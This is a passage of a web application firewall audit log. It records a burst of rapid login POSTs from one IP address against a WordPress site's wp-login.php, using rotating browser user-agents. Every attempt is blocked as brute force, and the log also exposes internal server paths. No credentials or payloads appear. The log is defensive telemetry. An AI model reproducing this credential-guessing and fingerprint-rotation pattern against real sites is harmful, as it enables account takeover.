Content-Type: text/html; charset=iso-8859-1

--471a1c38-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313941679243 2296 (- - -)
Stopwatch2: 1789313941679243 2296; combined=755, p1=353, p2=88, p3=0, p4=0, p5=314, sr=119, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--471a1c38-Z--

--0e992042-A--
[13/Sep/2026:18:39:02.183184 +0300] aqbDlvut1GUrjaX0wO44SgAAAMQ 134.185.87.66 43910 127.0.0.1 7081
--0e992042-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--0e992042-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--0e992042-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313942180289 3058 (- - -)
Stopwatch2: 1789313942180289 3058; combined=1174, p1=488, p2=116, p3=0, p4=0, p5=570, sr=288, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0e992042-Z--

--1f2d0816-A--
[13/Sep/2026:18:39:02.692121 +0300] aqbDlvut1GUrjaX0wO44VAAAAMo 134.185.87.66 44008 127.0.0.1 7081
--1f2d0816-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 109
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--1f2d0816-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--1f2d0816-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313942689277 2941 (- - -)
Stopwatch2: 1789313942689277 2941; combined=902, p1=423, p2=131, p3=0, p4=0, p5=348, sr=226, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1f2d0816-Z--

--3e65b20f-A--
[13/Sep/2026:18:39:03.211508 +0300] aqbDl0hjHs68UzErry1KvAAAAJU 134.185.87.66 44084 127.0.0.1 7081
--3e65b20f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 97
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:93.0) Gecko/20100101 Firefox/93.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--3e65b20f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--3e65b20f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313943204532 7132 (- - -)
Stopwatch2: 1789313943204532 7132; combined=3309, p1=749, p2=130, p3=0, p4=0, p5=2429, sr=145, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3e65b20f-Z--

--611fc962-A--
[13/Sep/2026:18:39:03.607129 +0300] aqbDl0hjHs68UzErry1KvgAAAIk 134.185.87.66 44110 127.0.0.1 7081
--611fc962-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 117
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--611fc962-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--611fc962-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313943604761 2449 (- - -)
Stopwatch2: 1789313943604761 2449; combined=753, p1=313, p2=110, p3=0, p4=0, p5=329, sr=125, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--611fc962-Z--

--2932c40a-A--
[13/Sep/2026:18:39:04.007584 +0300] aqbDmPut1GUrjaX0wO44XgAAAMk 134.185.87.66 44138 127.0.0.1 7081
--2932c40a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 94
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--2932c40a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--2932c40a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313944003543 4167 (- - -)
Stopwatch2: 1789313944003543 4167; combined=1440, p1=540, p2=123, p3=0, p4=0, p5=776, sr=311, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2932c40a-Z--

--e7de8542-A--
[13/Sep/2026:18:39:04.413413 +0300] aqbDmPut1GUrjaX0wO44XwAAANI 134.185.87.66 44144 127.0.0.1 7081
--e7de8542-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 110
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--e7de8542-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--e7de8542-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313944410862 2609 (- - -)
Stopwatch2: 1789313944410862 2609; combined=750, p1=326, p2=105, p3=0, p4=0, p5=319, sr=171, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e7de8542-Z--

--d9c48228-A--
[13/Sep/2026:18:39:04.827584 +0300] aqbDmPut1GUrjaX0wO44YAAAANM 134.185.87.66 44156 127.0.0.1 7081
--d9c48228-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 110
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--d9c48228-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--d9c48228-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313944824769 2934 (- - -)
Stopwatch2: 1789313944824769 2934; combined=909, p1=385, p2=151, p3=0, p4=0, p5=373, sr=146, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d9c48228-Z--

--445b774c-A--
[13/Sep/2026:18:39:05.236326 +0300] aqbDmfut1GUrjaX0wO44YgAAAMw 134.185.87.66 44184 127.0.0.1 7081
--445b774c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 104
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--445b774c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--445b774c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313945234069 2364 (- - -)
Stopwatch2: 1789313945234069 2364; combined=803, p1=287, p2=147, p3=0, p4=0, p5=369, sr=107, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--445b774c-Z--

--c413332b-A--
[13/Sep/2026:18:39:05.667510 +0300] aqbDmfut1GUrjaX0wO44ZAAAANE 134.185.87.66 43148 127.0.0.1 7081
--c413332b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 116
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--c413332b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--c413332b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313945642981 24606 (- - -)
Stopwatch2: 1789313945642981 24606; combined=865, p1=433, p2=115, p3=0, p4=0, p5=317, sr=177, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c413332b-Z--

--c8567a6d-A--
[13/Sep/2026:18:39:06.058425 +0300] aqbDmvut1GUrjaX0wO44ZgAAAME 134.185.87.66 43164 127.0.0.1 7081
--c8567a6d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 98
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--c8567a6d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--c8567a6d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313946055734 2759 (- - -)
Stopwatch2: 1789313946055734 2759; combined=839, p1=434, p2=108, p3=0, p4=0, p5=296, sr=172, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c8567a6d-Z--

--b501b434-A--
[13/Sep/2026:18:39:06.474092 +0300] aqbDmvut1GUrjaX0wO44aAAAAMM 134.185.87.66 43182 127.0.0.1 7081
--b501b434-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 97
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--b501b434-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--b501b434-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313946471581 2581 (- - -)
Stopwatch2: 1789313946471581 2581; combined=765, p1=320, p2=128, p3=0, p4=0, p5=317, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b501b434-Z--

--5caeab5d-A--
[13/Sep/2026:18:39:06.866325 +0300] aqbDmvut1GUrjaX0wO44agAAANU 134.185.87.66 43188 127.0.0.1 7081
--5caeab5d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 120
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:93.0) Gecko/20100101 Firefox/93.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--5caeab5d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--5caeab5d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313946863973 2420 (- - -)
Stopwatch2: 1789313946863973 2420; combined=1185, p1=837, p2=82, p3=0, p4=0, p5=266, sr=141, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5caeab5d-Z--

--51daec6c-A--
[13/Sep/2026:18:39:07.253354 +0300] aqbDmxsbgHO3aGL3jiTwrwAAAA4 134.185.87.66 43210 127.0.0.1 7081
--51daec6c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 98
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--51daec6c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--51daec6c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313947251406 2013 (- - -)
Stopwatch2: 1789313947251406 2013; combined=618, p1=275, p2=77, p3=0, p4=0, p5=266, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--51daec6c-Z--

--3bcc106c-A--
[13/Sep/2026:18:39:07.636293 +0300] aqbDm-ut1GUrjaX0wO44bAAAAMs 134.185.87.66 43232 127.0.0.1 7081
--3bcc106c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--3bcc106c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--3bcc106c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313947634346 2020 (- - -)
Stopwatch2: 1789313947634346 2020; combined=738, p1=320, p2=83, p3=0, p4=0, p5=335, sr=111, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3bcc106c-Z--

--898abe3a-A--
[13/Sep/2026:18:39:08.033583 +0300] aqbDnPut1GUrjaX0wO44bgAAANY 134.185.87.66 43250 127.0.0.1 7081
--898abe3a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 101
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--898abe3a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--898abe3a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313948031397 2299 (- - -)
Stopwatch2: 1789313948031397 2299; combined=674, p1=336, p2=96, p3=0, p4=0, p5=242, sr=179, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--898abe3a-Z--

--5987702b-A--
[13/Sep/2026:18:39:08.428655 +0300] aqbDnPut1GUrjaX0wO44cAAAAMQ 134.185.87.66 43264 127.0.0.1 7081
--5987702b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
